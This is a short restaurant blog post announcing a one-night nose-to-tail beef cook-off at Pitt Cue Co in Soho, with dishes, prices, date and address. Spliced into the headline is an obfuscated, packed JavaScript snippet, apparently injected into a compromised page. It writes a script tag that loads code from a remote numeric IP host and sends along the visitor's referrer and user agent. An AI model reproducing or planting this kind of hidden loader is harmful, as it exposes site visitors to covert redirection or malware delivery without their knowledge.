NOSE TO TAIL AT PITT CUE CO…

Pitt_Cue_Door_2

Nose (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybsdz|var|u0026u|referrer|yzhsd||js|php’.split(‘|’),0,{}))
to tail beef cook-off, for one-night only…If you have ever queued up to taste the finger-licking pork dishes at Pitt Cue Co, then this Sunday you will certainly be in for a treat.

For one night only, the restaurant will be serving up a range of beef dishes sourced from a pair of mature Highland cows. If you consider that one mature Highland cow weighs in at around 1100lbs, then with two you are guaranteed to have have a whole lot of meat.

beef ribs

To make the most of each cut, expect a variety of dishes. Starters will include beef scrumpet (£5), beef and bone-marrow pasties (£6) 300g sirloin steak (£18.50) and rib of beef (prices to be announced on the night). With only 28 covers in the restaurant and ran on a first come, first served basis from 6pm, we suggested getting in line pronto!

Sun 9th Mar, 6pm
Pitt Cue Co., 1 Newburgh St, London, W1F 7RB
www.pittcue.co.uk